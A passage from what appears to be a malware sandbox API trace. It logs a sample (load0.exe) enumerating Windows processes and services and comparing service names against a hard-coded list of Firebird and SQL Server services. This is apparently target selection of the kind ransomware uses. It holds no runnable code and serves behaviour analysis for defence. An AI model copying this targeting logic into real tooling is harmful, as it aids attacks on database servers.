(lpString1="sqlwriter", lpString2="SENS") returned 1 [0263.536] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0263.536] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0263.536] lstrlenW (lpString="ShellHWDetection") returned 16 [0263.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0263.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0263.536] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0263.536] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0263.536] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0263.536] lstrlenW (lpString="Spooler") returned 7 [0263.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0263.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0263.536] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0263.536] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0263.536] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0263.536] lstrlenW (lpString="StateRepository") returned 15 [0263.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0263.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0263.536] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0263.536] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0263.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0263.537] lstrlenW (lpString="SysMain") returned 7 [0263.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0263.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0263.607] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0263.607] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0263.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0263.607] lstrlenW (lpString="SystemEventsBroker") returned 18 [0263.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0263.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0263.607] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0263.607] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0263.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0263.608] lstrlenW (lpString="Themes") returned 6 [0263.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0263.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0263.608] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0263.608] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0263.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0263.608] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0263.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0263.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0263.608] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0263.608] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0263.608] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4076450 | out: hHeap=0x630000) returned 1 [0263.608] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1288 [0263.612] Process32FirstW (in: hSnapshot=0x1288, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0263.613] Process32NextW (in: hSnapshot=0x1288, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0263.614] lstrlenW (lpString="System") returned 6 [0263.614] Process32NextW (in: hSnapshot=0x1288, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0263.615] lstrlenW (lpString="smss.exe") returned 8 [0263.615] Process32NextW (in: hSnapshot=0x1288, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0263.616] lstrlenW (lpString="csrss.exe") returned 9 [0263.616] Process32NextW (in: hSnapshot=0x1288, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0263.617] lstrlenW (lpString="wininit.exe") returned 11 [0263.617] Process32NextW (in: hSnapshot=0x1288, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0263.618] lstrlenW (lpString="csrss.exe") returned 9 [0263.618] Process32NextW (in: hSnapshot=0x1288, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0263.619] lstrlenW (lpString="winlogon.exe") returned 12 [0263.619] Process32NextW (in: hSnapshot=0x1288, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0263.620] lstrlenW (lpString="services.exe") returned 12 [0263.620] Process32NextW (in: hSnapshot=0x1288, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0263.621] lstrlenW (lpString="lsass.exe") returned 9 [0263.621] Process32NextW (in: hSnapshot=0x1288, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0263.622] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0263.622] Process32NextW (in: hSnapshot=0x1288, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0263.623] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0263.623] Process32NextW (in: hSnapshot=0x1288, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.624] lstrlenW (lpString="svchost.exe") returned 11 [0263.624] Process32NextW (in: hSnapshot=0x1288, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.625] lstrlenW (lpString="svchost.exe") returned 11 [0263.625] Process32NextW (in: hSnapshot=0x1288, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0263.626] lstrlenW (lpString="dwm.exe") returned 7 [0263.626] Process32NextW (in: hSnapshot=0x1288, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.627] lstrlenW (lpString="svchost.exe") returned 11 [0263.627] Process32NextW (in: hSnapshot=0x1288, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.628] lstrlenW (lpString="svchost.exe") returned 11 [0263.628] Process32NextW (in: hSnapshot=0x1288, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.629] lstrlenW (lpString="svchost.exe") returned 11 [0263.629] Process32NextW (in: hSnapshot=0x1288, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.630] lstrlenW (lpString="svchost.exe") returned 11 [0263.630] Process32NextW (in: hSnapshot=0x1288, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.631] lstrlenW (lpString="svchost.exe") returned 11 [0263.631] Process32NextW (in: hSnapshot=0x1288, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.632] lstrlenW (lpString="svchost.exe") returned 11 [0263.632] Process32NextW (in: hSnapshot=0x1288, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.633] lstrlenW (lpString="svchost.exe") returned 11 [0263.633] Process32NextW (in: hSnapshot=0x1288, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.634] lstrlenW (lpString="svchost.exe") returned 11 [0263.634] Process32NextW (in: hSnapshot=0x1288, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.635] lstrlenW (lpString="svchost.exe") returned 11 [0263.635] Process32NextW (in: hSnapshot=0x1288, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.636] lstrlenW (lpString="svchost.exe") returned 11 [0263.636] Process32NextW (in: hSnapshot=0x1288, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0263.637] lstrlenW (lpString="spoolsv.exe") returned 11 [0263.637] Process32NextW (in: hSnapshot=0x1288, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.638] lstrlenW (lpString="svchost.exe") returned 11 [0263.638] Process32NextW (in: hSnapshot=0x1288, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0263.639] lstrlenW (lpString="audiodg.exe") returned 11 [0263.639] Process32NextW (in: hSnapshot=0x1288, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0263.677] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0263.677] Process32NextW (in: hSnapshot=0x1288, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0263.679] lstrlenW (lpString="Memory Compression") returned 18 [0263.679] Process32NextW (in: hSnapshot=0x1288, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0263.680] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0263.680] Process32NextW (in: hSnapshot=0x1288, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0263.681] lstrlenW (lpString="sihost.exe") returned 10 [0263.681] Process32NextW (in: hSnapshot=0x1288, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.682] lstrlenW (lpString="svchost.exe") returned 11 [0263.682] Process32NextW (in: hSnapshot=0x1288, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0263.684] lstrlenW (lpString="taskhostw.exe") returned 13 [0263.684] Process32NextW (in: hSnapshot=0x1288, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0263.685] lstrlenW (lpString="msoia.exe") returned 9 [0263.685] Process32NextW (in: hSnapshot=0x1288, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0263.687] lstrlenW (lpString="explorer.exe") returned 12 [0263.687] Process32NextW (in: hSnapshot=0x1288, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0263.688] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0263.688] Process32NextW (in: hSnapshot=0x1288, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0263.696] lstrlenW (lpString="SearchUI.exe") returned 12 [0263.696] Process32NextW (in: hSnapshot=0x1288, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0263.697] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0263.697] Process32NextW (in: hSnapshot=0x1288, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0263.698] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0263.698] Process32NextW (in: hSnapshot=0x1288, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0263.712] lstrlenW (lpString="load0.exe") returned 9 [0263.712] Process32NextW (in: hSnapshot=0x1288, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x272c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c4, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0263.713] lstrlenW (lpString="consent.exe") returned 11 [0263.713] Process32NextW (in: hSnapshot=0x1288, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x27cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0263.714] lstrlenW (lpString="dllhost.exe") returned 11 [0263.714] Process32NextW (in: hSnapshot=0x1288, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x27cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0263.715] CloseHandle (hObject=0x1288) returned 1 [0263.715] Sleep (dwMilliseconds=0x1f4) [0264.336] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3f64898 [0264.429] EnumServicesStatusExW (in: hSCManager=0x3f64898, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 0 [0264.429] GetLastError () returned 0xea [0264.429] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c30) returned 0x4078460 [0264.430] EnumServicesStatusExW (in: hSCManager=0x3f64898, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4078460, cbBufSize=0x1c30, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4078460, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 1 [0264.430] CloseServiceHandle (hSCObject=0x3f64898) returned 1 [0264.431] lstrlenW (lpString="Appinfo") returned 7 [0264.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0264.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0264.431] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0264.431] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0264.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0264.431] lstrlenW (lpString="AppXSvc") returned 7 [0264.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0264.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0264.431] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0264.431] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0264.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0264.431] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0264.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0264.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0264.431] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0264.431] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0264.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0264.431] lstrlenW (lpString="Audiosrv") returned 8 [0264.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0264.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0264.431] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0264.431] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0264.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0264.432] lstrlenW (lpString="BFE") returned 3 [0264.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0264.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0264.432] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0264.432] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0264.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0264.432] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0264.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0264.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0264.432] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0264.432] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0264.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0264.432] lstrlenW (lpString="CDPSvc") returned 6 [0264.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0264.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0264.432] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0264.432] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0264.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0264.432] lstrlenW (lpString="ClickToRunSvc") returned 13 [0264.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0264.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0264.432] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0264.432] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0264.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0264.432] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0264.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0264.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0264.433] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0264.433] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0264.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0264.433] lstrlenW (lpString="CryptSvc") returned 8 [0264.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0264.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0264.433] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0264.433] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0264.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0264.433] lstrlenW (lpString="DcomLaunch") returned 10 [0264.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0264.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0264.433] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0264.433] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0264.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0264.433] lstrlenW (lpString="DeviceAssociationService") returned 24 [0264.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0264.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0264.433] lstrcmpiW (lpString1="sqlwriter", 